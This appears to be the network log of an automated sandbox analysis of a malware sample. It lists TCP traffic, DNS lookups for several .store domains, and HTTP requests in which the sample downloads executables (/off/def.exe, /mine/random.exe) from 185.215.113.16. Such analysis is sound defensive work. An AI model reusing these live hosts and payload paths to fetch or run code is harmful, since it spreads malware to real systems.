Nov 1, 2024 08:51:48.176551104 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176553965 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176578045 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176631927 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176644087 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176654100 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176665068 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176665068 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176680088 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176688910 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176691055 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176723003 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176793098 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176805973 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176816940 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176837921 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176847935 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176860094 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176872969 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176903963 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176930904 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176942110 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176960945 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176970959 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176974058 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.176983118 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.176994085 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.177009106 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.177017927 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.222186089 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.222199917 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.222212076 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.222275019 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257599115 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257613897 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257623911 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257635117 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257647038 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257678986 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257688046 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257699966 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257709980 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257721901 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257734060 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257762909 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257782936 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257795095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257806063 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257814884 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257824898 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257836103 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257841110 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257850885 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257853985 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257864952 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257874966 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257882118 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257885933 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.257908106 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.257925987 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.258435011 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:48.258676052 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:48.258737087 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:48.261111021 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:48.261133909 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:48.261145115 CET	57873	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:48.261149883 CET	443	57873	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:48.290946960 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.290975094 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.290986061 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.290997982 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291008949 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291029930 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291029930 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291040897 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291054010 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291055918 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291071892 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291079044 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291083097 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291176081 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291187048 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291198015 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291222095 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291248083 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291263103 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291274071 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291285038 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291306973 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291327000 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291337967 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291352987 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291363955 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291376114 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291376114 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291397095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291399002 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291415930 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291424990 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291431904 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291443110 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291443110 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291492939 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291841030 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291858912 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291870117 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291894913 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.291897058 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291940928 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.291950941 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292026043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292062044 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292104959 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292115927 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292126894 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292138100 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292149067 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292152882 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292162895 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292596102 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292624950 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292634964 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292638063 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292648077 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292665958 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292689085 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292701006 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292711973 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292725086 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292735100 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292736053 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292764902 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292785883 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292834044 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292860985 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292872906 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292896032 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.292922020 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292936087 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292949915 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292962074 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.292973995 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293001890 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293176889 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293190002 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293201923 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293234110 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293243885 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293268919 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293287039 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293298006 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293308973 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293324947 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293327093 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293338060 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293349028 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293354034 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293364048 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293368101 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293375969 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293392897 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293406010 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293410063 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293430090 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293499947 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293512106 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293524027 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293555975 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293570995 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293574095 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293592930 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293606043 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293617964 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293636084 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293662071 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293669939 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293682098 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293694019 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293713093 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293747902 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293759108 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293770075 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293787956 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293792963 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293801069 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293813944 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293817043 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293827057 CET	80	57863	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:48.293845892 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293869019 CET	57863	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:48.293894053 CET	80	57863	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 08:50:01.936197042 CET	192.168.2.4	1.1.1.1	0x960a	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:01.952115059 CET	192.168.2.4	1.1.1.1	0x9744	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:01.968519926 CET	192.168.2.4	1.1.1.1	0x323b	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:01.983035088 CET	192.168.2.4	1.1.1.1	0x970f	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:01.994184971 CET	192.168.2.4	1.1.1.1	0x6f78	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.572020054 CET	192.168.2.4	1.1.1.1	0xe28a	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.584054947 CET	192.168.2.4	1.1.1.1	0x7e8	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.595607996 CET	192.168.2.4	1.1.1.1	0xb67e	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.606568098 CET	192.168.2.4	1.1.1.1	0x5413	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:46.985677958 CET	192.168.2.4	1.1.1.1	0xdcb8	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:47.047574043 CET	192.168.2.4	1.1.1.1	0x1263	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:47.078510046 CET	192.168.2.4	1.1.1.1	0x3a71	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:47.089006901 CET	192.168.2.4	1.1.1.1	0xadcb	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:55.050863981 CET	192.168.2.4	1.1.1.1	0x5058	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:55.070130110 CET	192.168.2.4	1.1.1.1	0x5cf7	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 08:50:01.945991039 CET	1.1.1.1	192.168.2.4	0x960a	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:01.966080904 CET	1.1.1.1	192.168.2.4	0x9744	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:01.980742931 CET	1.1.1.1	192.168.2.4	0x323b	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:01.992280960 CET	1.1.1.1	192.168.2.4	0x970f	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:02.006333113 CET	1.1.1.1	192.168.2.4	0x6f78	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:50:02.006333113 CET	1.1.1.1	192.168.2.4	0x6f78	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.581037045 CET	1.1.1.1	192.168.2.4	0xe28a	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.593300104 CET	1.1.1.1	192.168.2.4	0x7e8	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.604645967 CET	1.1.1.1	192.168.2.4	0xb67e	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:29.615447044 CET	1.1.1.1	192.168.2.4	0x5413	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:46.995191097 CET	1.1.1.1	192.168.2.4	0xdcb8	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:47.056055069 CET	1.1.1.1	192.168.2.4	0x1263	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:47.087133884 CET	1.1.1.1	192.168.2.4	0x3a71	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:47.097603083 CET	1.1.1.1	192.168.2.4	0xadcb	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:55.028433084 CET	1.1.1.1	192.168.2.4	0xd137	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 08:51:55.061067104 CET	1.1.1.1	192.168.2.4	0x5058	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	185.215.113.16	80	7528	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:50:16.233298063 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 08:50:17.156363010 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 07:50:17 GMT Content-Type: application/octet-stream Content-Length: 2799104 Last-Modified: Fri, 01 Nov 2024 07:45:47 GMT Connection: keep-alive ETag: "6724872b-2ab600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+6`Ui` @ @.rsrc`2@.idata 8@smhgitdo`T:@ntzismqa +@.taggant@ +"*@
Nov 1, 2024 08:50:17.156397104 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156408072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156419992 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156478882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156488895 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156543970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156554937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156560898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.156569958 CET	236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:17.161458969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 08:50:20.371400118 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
